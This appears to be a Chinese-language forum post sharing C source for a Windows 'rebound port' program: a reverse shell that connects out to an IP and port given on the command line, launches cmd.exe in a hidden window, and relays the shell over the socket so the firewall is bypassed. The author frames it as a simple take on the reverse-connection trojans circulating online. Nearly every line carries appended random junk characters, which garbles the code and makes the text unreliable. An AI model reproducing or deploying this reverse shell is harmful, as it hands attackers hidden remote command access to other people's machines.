Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 gE\&[;)DB  
#p*D.We  
/* ============================== DS%~'S  
Rebound port in Windows NT n 9PYZxy  
By wind,2006/7 e];lDa#4-Y  
===============================*/ x+EkL3{  
#include Je5}Z.3m  
#include u0zF::  
qHaH=g%  
#pragma comment(lib,"wsock32.lib") @IhC:Yc  
OD]`oJ|  
void OutputShell(); J}BN}|Y@2  
SOCKET sClient; X6*4IE  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9sG]Q[:.]  
xy))}c%  
void main(int argc,char **argv) -M5vh~Tp  
{ dhv?36uE  
WSADATA stWsaData; f$ 9O0,}%O  
int nRet; hK+6S3-Ez  
SOCKADDR_IN stSaiClient,stSaiServer; >~:Md  
SO4?3wg7  
if(argc != 3) G!dx)v  
{ \Kr8k`f  
printf("Useage:\n\rRebound DestIP DestPort\n"); 2*Zk^h=  
return; G%iTL"6  
} %e^GfZ  
=g
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WSAStartup(MAKEWORD(2,2),&stWsaData); l0 =[MXM4  
}@x!r=O)I  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); mX 3p  
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stSaiClient.sin_family = AF_INET; ;`Nh@*_  
stSaiClient.sin_port = htons(0); t.y-b`v  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :^7>k
J5?  
ttOk6-  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O,6Wdw3+-3  
{ MH=7(15R  
printf("Bind Socket Failed!\n"); ;NU-\<Q{  
return; `6$|d,m5  
} )Zf1%h~0r  
5EU~T.4C<  
stSaiServer.sin_family = AF_INET; 7UIf  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); {Y-~7@  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); `+z^#3l  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 5skxixG  
{ mww<Xm'  
printf("Connect Error!"); vAp<Muj(a  
return; m<H{@ZgN(  
} n,U?]mr  
OutputShell(); ZDg(D"  
} KpA1Ac)T  
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void OutputShell() &AN1xcx\  
{ B (Ps/  
char szBuff[1024]; H2H`7 +I,  
SECURITY_ATTRIBUTES stSecurityAttributes; *Nm$b+  
OSVERSIONINFO stOsversionInfo; >-w
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; {{jV!8wK  
STARTUPINFO stStartupInfo; _f'v>"K  
char *szShell; JIhEkY  
PROCESS_INFORMATION stProcessInformation; y];-D>jk  
unsigned long lBytesRead; z',Fa4@z  
DQT'OZ:w  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); [\AOr`7  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); yQuL[#
p  
stSecurityAttributes.lpSecurityDescriptor = 0; Xu8I8nAwl  
stSecurityAttributes.bInheritHandle = TRUE; 6<2H 7'  
9w$m\nV  
3pg=9*{  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *,mI=1  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <+k"3r{y"  
|>yWkq  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 8l_M 0F,  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J$Z=`=]t+  
stStartupInfo.wShowWindow = SW_HIDE; 2]1u0-M5L  
stStartupInfo.hStdInput = hReadPipe; U.KQjBi  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; rUpe  ;c  
4;fuS_(X  
GetVersionEx(&stOsversionInfo); LRVcf  
l%T4:p4e  
switch(stOsversionInfo.dwPlatformId) RWc<CQcL"  
{ Hs*["zFc  
case 1: T]\c2U  
szShell = "command.com"; ;I&VpAPx  
break; I]^>>>p$  
default: ?u|@,tQ[  
szShell = "cmd.exe"; 4qE95THB  
break; _Z23lF9  
} 8LbwEKl  
)\|+G5#`  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VGmvfhf#"  
6|zhqb|s  
send(sClient,szMsg,77,0); 5?lc%,-&  
while(1) ^Jp,&  
{ )V\@N*L`ik  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z$e6T&u5B  
if(lBytesRead) Pg%9hejf3  
{ ?3=G'Ip5n  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7~ PL8  
send(sClient,szBuff,lBytesRead,0); 2%dL96  
} ;$QC_l''b  
else 27EK+$  
{ @eJCr)#}  
lBytesRead=recv(sClient,szBuff,1024,0); <.Ws; HN}  
if(lBytesRead<=0) break; 1Y|a:){G  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); j-":>}oW2.  
} ` y\)X C7  
} hW~.F  
Ttt'X<9  
return; uMJ\  
}